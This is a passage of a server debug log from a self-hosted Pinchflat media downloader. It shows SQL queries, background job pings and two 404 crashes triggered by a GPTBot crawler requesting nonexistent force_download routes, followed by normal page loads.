idle=1951.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:11:25.463 [debug] QUERY OK source="settings" db=0.1ms idle=1042.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:11:25.463 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:11:25.464 [error] #PID<0.2693.0> running PinchflatWeb.Endpoint (connection #PID<0.2692.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/91/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/91/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/91/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52694}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/91", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2693.0>, params: %{}, path_info: ["sources", "1", "media", "91", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/91"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/91/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDirOlrlL--tDQAACOD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/91/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52694}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/91", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/91/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/91/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52694}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/91", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2693.0>, params: %{}, path_info: ["sources", "1", "media", "91", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => { (truncated) 23:11:29.034 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:59.036 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.026 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:29.038 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:30.878 [info] GET /sources/2/media/66/force_download 23:12:30.878 [debug] QUERY OK source="settings" db=0.2ms idle=367.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:12:30.879 [debug] QUERY OK source="settings" db=0.1ms idle=367.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:12:30.879 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:12:30.880 [error] #PID<0.2700.0> running PinchflatWeb.Endpoint (connection #PID<0.2699.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/media/66/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/66/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/66/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52896}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/66", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2700.0>, params: %{}, path_info: ["sources", "2", "media", "66", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2/media/66"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/media/66/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDivCR_pT_Bc4sAACSD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/66/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52896}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/66", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/66/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/66/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52896}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/66", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2700.0>, params: %{}, path_info: ["sources", "2", "media", "66", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => { (truncated) 23:12:59.040 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.027 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:03.307 [info] GET /sources 23:13:03.307 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 23:13:03.308 [debug] QUERY OK source="settings" db=0.2ms idle=1695.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:03.309 [debug] QUERY OK source="settings" db=0.1ms idle=797.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:03.309 [debug] QUERY OK source="settings" db=0.1ms idle=798.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:03.310 [debug] QUERY OK source="settings" db=0.1ms idle=799.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:03.310 [debug] QUERY OK source="settings" db=0.1ms idle=695.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:03.312 [debug] QUERY OK source="sources" db=0.9ms idle=2.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:13:03.315 [debug] QUERY OK source="sources" db=2.4ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:13:03.317 [info] Sent 200 in 9ms 23:13:04.067 [info] CONNECTED TO Phoenix.LiveView.Socket in 59µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "FQo1FSRLFQosLFo2ITF6BRgrTWIxIFI2ZCowe8FCkC0xHy3WBZy6Cd4s", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:13:04.153 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 23:13:04.155 [debug] QUERY OK source="sources" db=1.2ms idle=843.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:13:04.158 [debug] QUERY OK source="sources" db=2.3ms queue=0.1ms idle=845.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:13:04.159 [debug] Replied in 5ms 23:13:04.162 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:13:04.162 [debug] Replied in 175µs 23:13:04.478 [info] GET /sources/new 23:13:04.479 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 23:13:04.479 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1167.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" 